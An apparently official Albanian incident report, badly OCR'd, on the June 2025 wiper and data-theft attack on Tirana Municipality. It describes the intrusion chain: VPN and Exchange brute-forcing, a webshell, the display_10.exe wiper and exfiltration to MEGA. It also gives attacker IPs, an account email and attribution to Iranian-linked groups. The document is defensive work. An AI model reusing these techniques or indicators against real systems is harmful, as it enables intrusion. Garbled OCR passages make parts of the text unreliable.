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PARATHENIE

Ky raport éshté hartuar pér té€ dokumentuar dhe analizuar njé€ incident t€ réndésishém t€ sigurisé
kibernetike qé ka prekur infrastrukturén e Bashkis¢ Tiran€, n¢ Republikén e Shqipérisé. Pérmbajtja
e raportit bazohet né informacionin e disponueshém deri n€ pérfundimin e analizés dhe pérfshin t&
dhéna teknike, inteligjencé nga burime t€ hapura, si dhe artefakte t&¢ mbledhura gjaté menaxhimit
t€ incidentit.

Qéllimi 1 raportit éshté té informojé dhe t€ ndérgjegjésojé palét e interesuara mbi natyrén,
vlerésimin dhe ndikimin e kétij incidenti kibernetik. Ky raport nuk konsiderohet pérfundimtar,
pasi mund t€ pasojné pérditésime né bazé té zbulimeve té métejshme.

Disa nga kéto kufizime pérfshijné:

Faza e paré:

Burimet e informacionit: Raporti &éshté pérgatitur bazuar né informacionin e vendosur né
dispozicion nga operatori 1 infrastrukturés sé€ prekur, si dhe analizimi 1 artifakteve t€ mbledhura
gjaté procesit t€ menaxhimit t€ incidentit. Jané pérdorur gjithashtu burime t€ hapura (OSINT),
pérfshiré t&¢ dhéna publike, analiza teknike té paléve té treta dhe indekse té kércénimeve. Duhet
theksuar se disa nga informacionet mund t€ mos pasqyrojné zhvillimet mé té fundit né kohé reale.

Faza e dyté:

Detajet e analizés: Pér shkak t€ kufizimeve burimore, disa aspekte t€ detajeve keqdashése mund
t€ mos jené analizuar thellésisht. Cdo informacion shtesé i panjohur mund té reflektojé né
ndryshime té raportit.

Faza e treté:

Analiza e kufizuar: Pér shkak té natyrés komplekse té sulmit kibernetik, analiza mund té jeté e
kufizuar né disa aspekte. Interpretimi i ngjarjes éshté subjektiv dhe mund té ndikohet nga mungesa
e disa té dhénave kyge.

Faza e katért:

Siguria e informacionit: T¢€ gjitha informacionet e pérfshira né kété raport jané konfidenciale dhe
té destinuara vet€m pér entitetin/infrastrukturén e prekur. Pérdorimi i t€ dhénave t€ burimeve té
hapura &éshté béré né pérputhje me parimet e mbrojtjes sé privatésisé dhe vlerésimit té saktésisé.
Cdo shpérndarje apo pérdorim jashté kétij qéllimi duhet té béhet vetém me autorizim pérkatés.

AKSK rezervon té drejtén pér té pérditésuar ose modifikuar pérmbajtjen e kétij raporti pa njoftim
paraprak.
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Pérdorimi dhe Kufizimi i Pérgjegjésisé : Ky raport éshté pérgatitur me géllim ofrimin e njé
pasqyre sa mé té ploté dhe té sakté lidhur me incidentin e sigurisé kibernetike gé ka ndodhur.
Pérmbajtja e tij mbéshtetet né informacionin e disponueshém gjaté periudhés sé analizés dhe mund
té mos pérfshijé té gjitha aspektet e sulmit apo zhvillimet e mévonshme gé mund té kené ndodhur.
Autorét dhe institucionet pérkatése nuk mbajné pérgjegjési pér vendimet ose veprimet qé mund té
ndérmerren si rezultat i pérdorimit té kétij raporti né ményra té papérshtatshme ose jashté
kontekstit té tij origjinal, si dhe pér démet qgé mund té shkaktohen nga kjo. Pérdorimi i kétij raporti
duhet té jeté i rezervuar vetém pér palét e autorizuara dhe né pérputhje me géllimin informues dhe
mbrojtés pér té cilin éshté hartuar. Cdo interpretim, shpérndarje apo pérdorim i raportit jashté
kétij géllimi kérkon autorizim té posacém nga Autoriteti Kombétar pér Siguriné Kibernetike. Pér
té ruajtur integritetin dhe konfidencialitetin e informacionit, rekomandohet qé raporti té trajtohet
si dokument i ndjeshém dhe té mos ripérdoret pa njé rishikim zyrtar dhe pérditésim té métejshém.

Shénim: Né kété raport mund té keté informacione té fshehura per arsye konfidencialiteti
dhe vazhdimési hetimore té incidentit. Shpérndarja e kétij raporti éshté rreptésisht e
ndaluar!
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1. Pérmbledhje Ekzekutive

Mg daté 20 Qershor 2025, infrastruktura ¢ Bashkisé Tiran€ u bé objekt 1 njé sulmi té sofistikuar
kibernetik, i karakterizuar nga géllime shkatérruese: fshirja e t€ dhénave dhe serveréve, marrja dhe
eksfiltrimi i1 informacionit sensitive. Grupi “Homeland Justice” mori pérgjegjésiné pérmes njé
kanali publik né Telegram, ku publikoi informacione mbi komprometimin e sistemeve dhe
shérbimeve té bashkisé.

Menjéher€ pas raportimit t€ incidentit nga ana e institucionit t€ prekur dhe né€ vijim t€ konfirmimit
pér nevojén pér mbéshtetje nga Bashkia Tirané (edhe pse kjo infrastrukturé nuk éshté akoma pjesé
e Infrastrukturave Kritike t&€ Informacionit), Autoriteti Kombétar pér Siguri Kibernetike (AKSK)
ngriti njé grup pune t&€ dedikuar pér t€ menaxhuar incidentin dhe pér t€ marré masat e nevojshme
pér rikthimin né funksion té shérbimeve.

Démi i shkaktuar dhe vlerésimi fillestar

Nga analiza paraprake rezultoi se ishin prekur rreth 35 servera (fizik dhe virtual) t€ démtuara,
kryesisht me sistem operativ Windows, si dhe mbi 200 kompjutera fundoré gé€ i pérkisnin
pérdoruesve fundoré. Gjithashtu, u evidentua se disa prej serveréve ishin fshiré né ményré
manuale, ¢cka e béri t&€ pamundur aksesimin dhe rikuperimin e tyre né kohé té shpejté. Pas
identifikimit, evidentohet se serverat e ndértuar né platformén e virtualizimit Hyper-V ishin t&
paaksesueshem dhe kérkonin rikthim t€ Backup-eve t€ méparshme. E njéjta situaté géndronte pér
njé pjesé té serveréve té vendosur né platformén e virtualizimit Vsphere ESXI.

Gjaté procesit t¢ menaxhimit té incidentit kibernetik u evidentua dhe shtrirja e incidentit né
infrastrukturén e Drejtorisé s¢ Pérgjithshme té Taksave dhe Tarifave Vendore Tirané (DPTTV),
ku ishte prekur Webserver-i ku éshté hostuar dhe fagja web e dpttv.gov.al.

Pérfaqésuesit e sektorit IT té Bashkisé Tirané konfirmuan ekzistencén e kopjeve rezervé pér
shérbimet kritike dhe vullnetin pér bashképunim pér rikthimin né funksion té shpejté té
infrastrukturés. Objektivi kryesor ishte garantimi i vazhdimésis€ s€ shérbimeve ndaj qytetaréve.

Qéllimi i pérbashkét 1 t& gjitha paléve té pérfshira né€ trajtimin e incidentit ishte minimizimi 1
ndikimit tek qytetarét dhe garantimi 1 vijueshmérisé sé shérbimeve publike.

Pérgjigja ndaj incidentit

Ekip1 1 AKSK u nda né katér grupe paralele pér t¢ mundésuar zgjidhjen e situatés dhe rimékémbjen
e infrastrukturés sé prekur. Kéto grupe ishin:

1. Threat Hunters — t€ fokusuar né identifikimin dhe neutralizimin e kércénimeve té
vazhdueshme (persistente).

2. Analizues té Forenzikés digjitale dhe analizues té skedaréve keqdashés — pér té analizuar
sistemet e komprometuara, pér té identifikuar origjinén dhe ményrén e komprometimit, si
dhe pér té analizuar ¢do komponent t€ dyshuar malware.

3. Rikthimi i shérbimeve Kritike — pér té rivéné né funksion shérbimet thelbésore té
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Bashkisé sé Tiranés dhe institucioneve né varési t€ saj, n€ ményré té sigurt dhe né kohé sa
mé t& shkurtér.

4. Evidentimi i boshllégeve dhe hartimi i planit té rehabilitimit — pér t€ identifikuar
mangeésité né siguri dhe pér t€ pérgatitur njé plan té detajuar pér pérmirésim dhe parandalim
né t& ardhmen.

Vektori i sulmit dhe zinxhiri i komprometimit

Sulmi filloi pérmes njé kodi keqdashés, njé skedar 1 tipit i ekzekutueshém display_10.exe 1 cili
pérmbante njé certifikaté legjitime 1 nénshkruar dhe verifikuar zyrtarisht me emrin Tengku
Zamzam, duke kapércyer késhtu shtresat mbrojtése té€ sistemeve operative. Ajo qé e bén kété sulm
t€ suksesshém éshté pérdorimi i njé certifikate legjitime, jo pér skedarin display 10.exe, por pér
rawlO.sys, pasi ky 1 fundit identifikohet si skedari ekzekutues (binary executable) né shérbim.

kzekutimin e vektorit t€ sulmit u pérdor serveri backend
ndjekur nga njé 1€vizje laterale drejt serverit frontend t&€ webserverit
Ky i fundit u shfrytézua nga sulmuesit pér t€ kryer I€vizje laterale
i cili u pérdor si piké géndrore (jump&activity
host) pér t€ zhvilluar té gjithé aktivitetin e tyre keqdashés. Vérehet instalimi 1 njé agjenti pér
ngarkimin e t€ dhénave né njé llogari né MEGA fileshare, pérmes sé cilés u realizua eksfiltrimi i
té dhénave sensitive t€ Bashkisé s€ Tiran€s né nj€ kapaciteti prej 73.4GB té dhénash. Llogaria ishte
¢ krijuar nén emrin Nazario Paparella, email nazariopaparella 2025@proton.me. Kjo llogari
éshté aksesuar nga IP e Bashkisé sé Tiranés si dhe Iran (188.229.90.166) qgé tregon aksesimin nga
dy profile té Megasync. Aktualisht kjo llogari éshté bllokuar dhe nuk mund té aksesohet falé
reagimit t€ shpejté q&€ u mor nga ekipi i pérbashkét i menaxhimit té incidentit.

Po késhtu panorama e sulmit krijohet dhe nga evidentimi i logeve té Firewall duke paré dhe rénien
e linjés VPN nga sulmuesit duke pérdorur tunelim SSL i cili rezulton té jeté nga shteti islamik 1
Iranit (188.229.66.237). Shfrytézimi i lidhjes sé VPN &shté ekzekutuar nga pérdorues 1 jashtém né
grupin: me pérdoruesin me inicialet k MEé pas duke pérdorur kété pérdorues
nga ku kredencialet e tij jan€ marr€ duké shfryt€zuar mail serverin, éshté béré dhe l€vizja né rrjetin
e sistemeve t€ Bashkisé s€ Tiranés. Serveri 1 pérdorur si Virtual Private Server (VPS) i gjetur nga
evidencat éshté 1P 144.172.87.152 WINDOWS-LU-LUXE e pérdorur si Command and Control
Server (C2).

Atribuimi i sulmit

Bazuar né indikatorét tekniké, mjetet e pérdorura dhe ményrén e veprimit, sulmi i atribuohet me
nivel besueshmeérie té larté, njé grupi té lidhur me strukturat shtetérore t€ Republikés Islamike té
Iranit, t€ njohur ndérkombétarisht si:

Red Sandstorm / STORM-0842 (Microsoft)
Void Manticore (Checkpoint)

APT34 (FireEye)

Charming Kitten / Cobalt Mirage (CrowdStrike)
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Bazuar né analizat teknike dhe lidhje me fushata t€ méparshme, grupi yné ka arritur té evidentojé
kété aktor, duke marré€ parasysh pérdorimin e mjeteve t€ pérséritura, pérputhjen kohore me
objektiva politiké, dhe veprimtariné propagandistike t€ koordinuar.

Detajet e plota mbi kété atribuim jané t€ pérfshira n€é modulin analitik “Aeribuimi — Inteligjenca
e Kércénimeve Kibernetike” t¢ kétij raporti.

Rikthimi i shérbimeve:

Duke marré parasysh kompleksitetin e sulmit, shkallén e ekspozimit dhe domosdoshméring kritike
t€ shérbimeve qé ofron Bashkia e Tiranés pér qytetarét, u morén masa t€ menjéhershme pér
rikuperimin dhe sigurimin e infrastrukturés. U vendosén politika strikte sigurie g€ pércaktojné
qarté ményrén e menaxhimit té shérbimeve g€ jané€ té€ ekspozuara né internet, me fokus té veganté
né webserver-at dhe sistemet e brendshme t€ informacionit.

Si hap i paré, u rikthyen nga kopjet e t€ dhénave (backups) portali zyrtar tirana.al, duke u

siguruar ¢ té gjitha komponentét e tij té ishin t&€ pastér nga indikatorét e sulmit dhe té

operonin né njé ambient t& izoluar dhe t&€ monitoruar vazhdimisht.

U ngrit sistemi i menaxhimit t€¢ dokumentave pér tu pérdorur né mjedisin e brendshém.

Kéto sisteme u analizuan dhe duhet t€ merren masa té menjéhershme pér pérditésimin e

tyre.

U ngrit sistemi i menaxhimit helpdesk.

U ngrit sistemi i menaxhimit financiar.

U ngritén shérbimet e :

U analizua dhe konstatua pika hyrése nga

U aplikuan rregulla strikte né Firewall pér t& nxjerré né rrjet vetém pér sektoré specifiké qé

e aksesojné brenda rrjetit.

U aplikuan query dns pér Active Direktoriné, né ményré gé té keté gasje né internet vetém
5 KBS formd

Serveri antivirus, u rikthye pérmes backups, pasi ishte fshiré nga aktorét keqdashés, nga
serveri i menaxhimit ESXI

* _ u aplikuan rregullat strikte né firewall.

: - u aplikuan rregullat strikte né firewall.

ga firewall u bllokua ¢do akses nga jashté. U aplikuan rregullat strikte t€ reja me IP
specifike té g€ do té aksesohen nga stafi i IT sé Tiranés.

U realizuan analiza t€ thelluara t€ integritetit t€ sistemeve dhe aplikacioneve, si dhe u kryen
skanime t€ avancuara pér zbulimin e malware-ve dhe dobésive t€ njohura (CVE).

Pér té garantuar géndrueshméri dhe siguri t€ vazhdueshme, u ngritén edhe shérbime té tjera
té brendshme kritike, té€ cilat kaluan pérmes njé procesi rigoroz t€ verifikimit té
konfigurimeve, kontrollit t€ aksesit dhe testimeve té sigurisé.

Adresa: Rruga “Papa Gjon Pali I1” nr.3, Tiran€; www.aksk.gov.al
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Té€ gjitha kéto sisteme u zhvendosén né mjedise t€ kontrolluara, me komunikim t€ ndaré
logjikisht pérmes VLAN-ve dhe me kontroll trafiku népérmjet firewall-8ve t€ brendshém
dhe té perimetrit.

Pér té mbajtur vazhdimisht nivelin e larté t& sigurisé, u vendos qé analiza dhe skanimi 1
shérbimeve t&€ béhet né ményré periodike, duke pérdorur mjetet mé t€ avancuara té
EDR/XDR, pér t&€ monitoruar ngjarjet, sjelljet anormale dhe pér t€ ndaluar ¢do pérpjekje
té métejshme pér komprometim. Falé njé mobilizimi té shpejté dhe bashképunimi
institucional, rikthimi i shérbimeve ndodhi né kohé rekord, duke reduktuar né minimum
ndérprerjen e funksionit publik.
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2. Informacioni Teknik

BASHKIA TIRANE

KRONOLOGIJIA E SULMIT KIBERNETIK 20 QERSHOR 2025

HO ID JUSTICE

Né telegram , grupi
personave té ashtéquajtur
Homeland Justice, publiko
teé dhénat e emaileve té
Bashkisé Tirané,

Krijohet llogaria MEGA
'NazarioPaparella_2025@prot
on.me’ nga IP 188.229.90.166
ASN(Mobile Communication
Company of Iran PLC ) e cila
me vone pérdoret per
eksfiltration.

Aktiviteti Successful Login
Ka nisur né orén 18:19

Ka perfunduar ne oren 22:38.
“Kjo mund te kete bere te
mundur te lexohen emaile
konfidenciale”

T Qershor 2028 ———————-
20:50 - Logon Type -
jvitet logimi nga
drejt serveri
FrontEnd(Windows Server
me userin localadmin
21:11 - Logon Type 10 RDP-
Aktivitet logimi nga serveri
FrontEnd drejt

Serverit

Backen
userin localadmin

21:21 - Tentativa login drejt
ADZ

13 Qershor 2025~~~
09:08

Ngarkohet webshell né DPTTV
(demo.txt -> demo.php) ne
DPTTV Web Server

Q:\k:ivitct i dyshimté né

indows Server) me',

Jané evidentuar tentativa
BruteFarce Attack drejt serverit
Exchange nga serveri né Cloud
(VPS)

A Windows-LU-LUXE
{ \ 144.172.87.152 / 45.38.194.212
\ & /'I

serverin BackEnd (Ubuntu)

perdorur login Forti SSL

19:22 - p.exe - alert nga

Symantec

. | 19:31 - 55H login (loecaladmin)

I& 19:44 - Installed NetTools
19:59 - Installed NMAP/edit

| sshconf

“Né Log té server evidentohet

deri né 4 console té lidhur

paralelisht né té njgjtén

kohé.”

I

'8
| T
| §
12

21:59 - Aktivitet | dyshimte ne
Google Chrome né serverin e
FrontEnd duke

aksesuar portal menaxhimi te
serverave (VSphere)

— e 13 Qershor 2025 '

2110 - AnyDesk i instaluar ne
DPTTV webserver, i evidentuar
nga Eset EDR

Komanda CMD/Powershell

AKTIVI U \DMIMN"
Evidentohet aktivitet | shtuar i
userit “ADMIN" ku ka té drejta
Enterprise Admin ne Active
Directory

1812

Mgarkohet né kompjuterin e
Hﬂje nga hostet
undore te infektuara)
skedari keqdashés (Wiper)
display_10.exe.

ET NCA

14:56
Ekzekutohet Dsinternals nga

server FrontEnd per
té kryer enumaration drejt
Active Directory [AD)

16:02
Login me userin admin ne
serverin ActiveDirectory

FORTI SS5L DROP

22:15

Evidentohet aktiviteti g
dyshimté Forti SSL VPN nga
IP Rumune 146.70.246.105 ku
me pas shkeputet kjo |IP dhe
paragitet IP Iraniane
188.229.66.237 (AS 197207(
Mobile Communication
Company of lran PLC )

sz ————(16)
SULMI DREJT DPTTV

17

———————— 16 Qershor 2025

DISPLAY 1

1812
serverin e

DB skedari
keqgdashés (Wiper)
display_10.exe.

Nga

Evidentohet aktivitet paralel
nga VPN/VPS té ndryshme né
Firewall Fortigate

1232 -13:27

Verifi tet né
serverin BackEnd
dhe FrontEnd drejt
infrastrukturés sé Bashkisé
Tirang& nga shfletuesi
Google Chrome

22:04
Fillon eksfiltrim | té dhénave
nga serverim BackEnd
drejt ME! uke pérdorur

MegaSync.

—=————-19 Qershor 2025

NISJA E EKZEKUTIMIT TE
WirER 23:59
Nis ekzekutimi | skedarit
kegdashés display_10.exe né
hostet fundoré qé jané pjesé e
Active Directory, duke
shkatérruar té dhénat e
sistemeve Windows dhe duke |
béré ato L& paaksesueshém

06:10

Ngarkohet ne aplikacionin e

DPTTV nepermjet webshel ___—""—"‘ 20 mm

page-indexdemo.php skedar FSHIRJA E SERVERAVE NGA
jda dhe me 11 VSPHERE

ekzekutohet népérmjet Burp 06:26

Suite Evidentohet aksesimi | VSphere

Figura 1: Kohéshtrirja eventeve

dhe fshihen serverat viruale
manualisht nga vshphere

Adresa: Rruga “Papa Gjon Pali I1” nr.3, Tiran€; www.aksk.gov.al
info@aksk.gov.al; Tel./Fax: 04 2221 039
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2.1 Pas né kohé ... viti 2022-2023

Referuar incidentit kibernetik t€ ndodhur drejt infrastrukturés s€ Bashkis€ Tiran€, &shté kryer njé
analizim i incidentit, mbi sip€rfagen e sulmit dhe detaje teknike t€ evidentuara bazuar né materialet
e vendosura né dispozicion.

Datuar mé herét, n€ Maj 2023, n€ grupin Telegram “Homeland Justice” jan€ publikuar materiale
qé lidhen drejtpérdrejt me email-et zyrtare t&€ Bashkisé Tirané, ku pasqyrohet se aktorét keqdashés
kané sulmuar mé par€ két€ infrastrukturé.

Homeland Justice

May 7, 2023

Axe-loving trees

Backup Channel: @H

@5 &2 $2 O

@tirana.al2.rar

@tirana.al3.rar

Figura 2: Publikime té dhénash email nga Bashkia e Tiranés.

Bazuar né kéto informacione t€ ekspozuara n€ vitin 2023, falé¢ mbéshtetjes s€ vazhdueshme dhe
pérfshirjes s€ Drejtorisé sé Pérgjithshme té Policisé sé Shtetit, konkretisht Drejtorisé sé Hetimit té
Krimit Kibernetik, u arrit t€ evidentohet burimi i shpérndarjes sé€ skedaréve:

o Platforma ku ishin ngarkuar materialet: MEGA Fileshare

(https://mega.nz/folder/nIwW1C4L#5FfLvBd9c8US4Je4Dql51Q)

o Skedarét e publikuar: tirana.al2.rar dhe tirana.al3.rar

o Statusi aktual i fileshare-it: i bllokuar dhe jo mé i aksesueshém, pavarésisht se publikimi

ndodhi né vitin 2023.

Adresa: Rruga “Papa Gjon Pali I1” nr.3, Tiran€; www.aksk.gov.al
info(@aksk.gov.al: Tel./Fax: 04 2221 039
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This link is unavailable as the user’s account has been
closed for gross violation of MEGA's Terms of Service.

OK, got it

Figura 3: Statusi aktual i MEGA 2023 fileshare-it i bllokuar

Té dhénat teknike nga analiza i Mega fileshare e cila i pérket publikimeve té 2023:

1. {

2. "email": "urhent@yandex.com",

3. "firstname": "Homeland",

4. "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/119.0.0.0 Safari/537.36",

5. "creation_ip":

6. "additional_ips": [

7.

8.  Mip"::

9. "country"

10. 1},

11.

12.

13.

4. }

15.

16. Gjithashtu, njé tjetér pérdorues i lidhur me kété skedar fileshare, rezulton té keté pasur kété
profil aksesimi:

17. {

18. "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
19. "creation_ip"

20. }

*Né vijim té raportit do té vérehet dhe pérdorimi i po kétij fileshare MEGA né njé nga makinat
virtuale té kompromentuara.

Analiza paraprake tregon se serveri i postés elektronike (Windows Exchange Server) i Bashkisé
ishte 1 ekspozuar né€ ndérfagen publike internet, duke e ekspozuar si njé piké potenciale hyrése pér
aktoré té jashtém.

Adresa: Rruga “Papa Gjon Pali I1” nr.3, Tiran€; www.aksk.gov.al
info@aksk.gov.al: Tel./Fax: 04 2221 039
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Mg daté 1 Shtator 2022, né serverin e exhang, sistemi i monitorimit MSExchange-
ManagedAvailability sinjalizoi rénien e ploté t€ shérbimit ECP, komponent ky¢ pér logimin e
administratoréve né Exchange Admin Center (EAC). Ky lloj gabimi &shté€ i njohur né raste té
shfrytézimit t€ ProxyLogon (CVE-2021-26855), njé dobési kritike SSRF (Server-Side Request
Forgery) qé lejon njé aktor pa autentikim t€ dérgojé kérkesa né endpoint- et e brendshme té serverit
Exchange, duke vepruar si pérdorues i privilegjuar.
Problemi u identifikua nga EcpBackEndLogonProb
Exchange Admin Center logon failing on Mailbox

1l jalizoi:

Availability has dropped to 0%.

Figura 4: Cénueshméria ProxyLogon

Cénueshméri té tjera né serverin Exhange On-Prem.

e No known risks

Overview  Incidents and alerts  Timeline  Configuration management  Security recommendations  Inventories  Discovered vulnerabilities  Missing KBs

Figura 5: Dobési pér shfrytézim ndér to dhe ekzekutim kodi né distancé (RCE) né Exhange
Server

Adresa: Rruga “Papa Gjon Pali II” nr.3, Tiran€; www.aksk.gov.al
info@aksk.gov.al; Tel./Fax: 04 2221 039
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NO known risks

Discovered vulnerabilities

Figura 6: Dobési pér shfrytézim Exchange Server 1 dhe 2
2.2 Data 11 Qershor 2025

Nga analiza e kryer, evidentohen si mé poshté vijon:
e Tentativa t€ shumta BruteForce drejt llogarive té mail exchange gjaté muajit Qershor

timestamp detections count vent ID  User
2025-06-11713:18:53,515426+00:00 Account Brute Force 6338 4625
2025-06-11716:30:37.854335+00:00 Account Brute Force 3598 4625
2025-06-11T13:18:53.498984+00:00 Account Brute Force 2082 4625
2025-06-11T13:16:11.660189+00:00 Account Brute Force 1627 4625
2025-06-13T07:51:27.205393+00:00 Account Brute Force 1095 4625
| 2025-06-13700:25:26.781311400:00 [Account Brute Force ] 662 | 4625
2025-06-11T14:36:17.983473+00:00 - Account Brute Force 333 4625
2025-06-18T08:52:26,731300+00:00 Account Brute Force 295 4625
| | 2025-06-11T14:12:57.000996+00:00 Account Brute Force 196 4625
2025-06-11T13:34:26.219092+00:00 Account Brute Force 68 4625
2025-06-11T17:45:00.177082+00:00 Account Brute Force 132 4625
2025-06-11T13:48:02.008662+00:00 Account Brute Force 106 4625
2025-06-13T721:28:55,544267+00:00 Account Brute Force 102 4625
) 2025-06-12T06:58:45.313415+00:00 Account Brute Force 100 4625
2025-06-12T09:04:46.432074+00:00 Account Brute Force 94 4625

2025-06-11T15:26:14,851637+00:00 Account Brute Force 53 4525
2025-06-13T20:57:28.804363+00:00 Account Brute Force 77 4625
| 2025-06-11T16:00:56.549130+00:00 Account Brute Force 72 4625
| 2025-06-11T17:36:48.458839+00:00 Account Brute Force 64 4625
2025-06-12T18:22:27.901609+00:00 Account Brute Force 54 4625
2025-06-12T06:32:14,755280+00:00 Account Brute Force 52 4625
2025-06-18711:22:33.296304+00:00 Account Brute Force 50 4625 il
2025-06-11T20:29:11,612811+00:00 Account Brute Force 47 4625

AAAE M AVTABAT AN T AIAET AR Aot Presibs P as azare

Figura 7: Tentativa BruteForce drejt mail server
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e Login té suksesshme drejt mail server pérmes IP-ve t&€ dyshimta.

A B B D E P G H | J K
1 ]Su::e.- = | Event | = | Target Account ot 'Targcl Domaii = | Target Comy » | Logon Type » | Source Accal » | Source | Source Computel ¥ Sourcd * hddress

1442 Sec 4624 BASHKLA - Network - - WINDOWS-LU-LUXE 45.38.194.212
153 1265 Sec 4624 BASHKLA - Network . WINDOWS- LU-LUXE 45.36.184.212
248 S84 Sec4524 BASHKIA - Netwark - - WINDOWS-LU-LUXE 45.38.184 212
308 613 Sec4624 BASHKIA - Network - . WINDOWS- LU-LUXE 144,172 87.152
an 595 Sec 4624 BASHKIA - Network - A WINDOWS-LU-LUXE 144.172.87.152
% 576 Sec 4624 BASHEIA - Network . . WINDOWS-LU-LUXE 144,172 67.152
33 483 Sec4624 BASHKIA - Natwork - WINDOWS-LU-LUXE 144.172.87.152
5 452 Sec 4624 BASHKIA - Network - - WINDOWS-LU-LUXE 45.38,184 212
351 410 Sec 45624 BASHKIA - Netwark . - WINDOWS-LU-LUXE 45.35.194 212
354 401 Sec 4624 BASHKIA - Netwark - - WINDOWS-LU-LUXE 144.172 87.152
368 362 Sec4624 BASHKIA - Network - - WINDOWS-LU-LUXE 45.38.184.212
382 326 Sec45624 BASHEIA - Network - - WINDOWS-LU-LUXE 45.35.194.212
41 262 Sec 4624 BASHEIA Network - - WINDOWS-LU-LUXE 45.35.194.212
412 258 Sec4624 BASHEIA - Network - - WINDOWS- LU-LUXE 45.38.184.212
413 258 Sec4624 BASHKLA - Network - - WINDOWS-LU-LUXE 45.38.154.212
am 248 Sec 4624 BASHKIA Netweork - WINDOWS-LU-LUXE 45.38,184.212
413 246 Sec 4624 BASHKIA - Network : - WINDOWS-LU-LUXE 45.38.184.212
423 240 Sec 4624 BASHEKLA - Network - - WINDOWS- LU-LUXE 45.38,194.212
424 240 Sec 4624 BASHKLA - Network WINDOWS-LU-LUXE 45.38.194.212
425 240 Sec 4624 BASHKIA - Netwark - - WINDOWS-LU-LUXE 45.38.184.212
4% 240 Sec4524 BASHELA - Network - - WINDOWS-LU-LUXE 45.36.184.212
427 240 Sec4624 BASHKIA - Network - - WINDOWS-LU-LUXE 45.38.194.212
428 240 Sec4s24 BASHELA Nerwork - - WINDOWS-LU-LUXE 45.38.194.212
429 240 Sec4624 BASHKIA - Netwark - - WINDOWS-LU-LUXE 45.38.194.212
453 196 S=c 4624 BASHKLA - Netwark - WINDOWS-LU-LUXE 45.38,194.212
434 144 Sec 4624 BASHEIA - Network WINDOWS- LU-LUXE 144.172.87.152
541 92 Sec 4624 BASHEKLA - Netwerk . WINDOWS-LU-LUXE 144.172.67.152
590 66 Sec 4624 BASHKIA - Network . - WINDOWS-LU-LUXE 144.172.87.152
605 60 Sec 4624 BASHEIA - Network . - WINDOWS-LU-LUXE 144.172.87.152
606 60 Sec4624 BASHKIA - Network - - WINDOWS-LU-LUXE 144.172.87.152
BO7 60 Sec 4624 BASHEIA - Network - - WINDOWS- LU-LUXE 144,172 §7.152
B9 60 Sec 4624 BASHEIA - Network < - WINDOWS-LU-LUXE 144.172.87.152
1] 60 Sec4624 BASHKLA - Netwark - - WINDOWS- LU-LUXE 144.172.87.152
B12 &0 Sec 4624 BASHEKLA - Network . - WINDOWS-LU-LUXE 144,172 87.152
B3 60 Sec4624 BASHKLA - Network : . WINDOWS-LU-LUXE 144.172.87.152
EM 60 Sec 4624 BASHKIA Network WINDOWS-LU-LUXE 144.172.87.152
E15 60 Sec 4524 BASHKIA Network WINDOWS-LU-LUXE 144 172.87 152
E17 60 Sec 4624 BASHKIA - Network - - WINDOWS-LU-LLUXE 144.172 87.152
618 60 Sec 4624 BASHKLA - Network - - WINDOWS- LU-LUXE 144 172.67.152

653 48 Sec4524 BASHELA Nerwork - - WINDOWS-LU-LUXE 144.172.87.152

Figura 8: Login té suksesshme drejt mail server

Me daté 11 Qershor 2025 ora 18:19, né loget ¢ Exchange Server evidentohet gasja e sukseshme
ndaj pérdoruesve té ndryshém me IP 45.38.7194.212 me emér kompjuteri WINDOWS-LU-LUXE.

“2025-06-11 18:19:47.754 +02:00","Logon success”™, _ Sec”,4624,810979741, "AuthenticationPackageName: NTLM |
i i

ElevatedToken: XX1843 | lln:unm:.mmd X%1833 | IpAddress: 45.38.194. 212 | IpPort: 24855 | Keylength: 128 | LsPackageMame: NTLM V2 |

LogonGuid: 00000000 - eeae 0000 -0000-000000000000 | LogonProcessMame: MtlmSsp | LogonIype: 3 | Processld: @x@ | ProcessMame: H
mmm&mmm - | SubjectDomainMame: - | Euh.lut.l.umnld oxd | Suhiumm.cﬂuc: - | SubjectUserSid: $-1-0-0 | IargetDomainMame:
gctlinkedlogonld: ©x0 | Largetlogonld: @xcf577fe9 | Ia;::iﬂu;h undfomaintiame: - | IacgetQutboundUsechame: - | LacgetUsecHame:

: 5-1-5-21-1698031034-1287783423-2845513162-2848 | IransmittedSecvices: - | VirtualAccount: ¥%1843 |
\exhange lu:&\i:;u:xix_cxnx

Figura 9: Qasje drejt pérdoruesve

Si rrjedhojé e artifakteve t€ zbuluara mé sipér, u thellua analiza e incidentit pér t€ zbuluar zinxhirin
e ploté té sulmit dhe komprometimit.

2.2.1 Analiza e Firewall

Adresa: Rruga “Papa Gjon Pali I1” nr.3, Tiran€; www.aksk.gov.al

info@aksk.gov.al; Tel./Fax: 04 2221 039
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$2

L)

Internet Connection Remote SSL VBN Users
User/Passw - No MFA

Figura 10: Diagrama e rrjetit e pérgjithsuar e infrastrukturés, pas analizés
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HTTPS
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HTTPS
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Figura 11: Ndérfagja e firewall

®| 0, B Eoorts  BySequesce s Newlayoul
Servecs Action 1 P AT Trpe Security Frohin \og [
i «
@ uTTR o MCEPT B Nl Sacad [ delslz QU™ L8 ]
@ HrTes B detmii
L] @
GuTTRS o ACCEPT ST Gaderd I defmit oumm | antm
@ HITE | = FEET
L]
LT 5 DENY o 23an

Figura 12: Akses i dyanshém ga jashté pér njé periudhé I-javore

Portat TCP té hapura nga publiku drejt

Impakti: Sulmuesit mund té realizojné skanime portash, sulme brute-force, ose té pérfitojné nga
shérbime té pambrojtura.

Portat UDP, t€ cilat zakonisht pérdoren pér , ishin gjithashtu t€ hapura pér publikun.

Impakti: Kércénim i drejtpérdrejté pér pérgjim té t€ dhénave ose abuzim me

Adresa: Rruga “Papa Gjon Pali I1” nr.3, Tiran€; www.aksk.gov.al
info@aksk.gov.al; Tel./Fax: 04 2221 039
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o Subnet Bl

o Subnet B 0

a Subnet e ]
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4] Subnet B

o Subnet B

o Subinet -
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o Subnet g

o Subnet Be
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4] Submet e
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Figura 14: Routing i subnet-eve .
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Figura 15: Filtra té cilat kané gené aktive.

Nga analiza e thelluar u konstatua pérdorimi i pérdoruesve t€ panjohur té krijuar né Switch Level3
Core. Kéto pérdorues kishin aksese té€ paautorizuar né Switch Level3 Core.

Impakti: Mundési e larté pér “backdoor” ose kontroll t€ paautorizuar né infrastrukturé. Rrezik
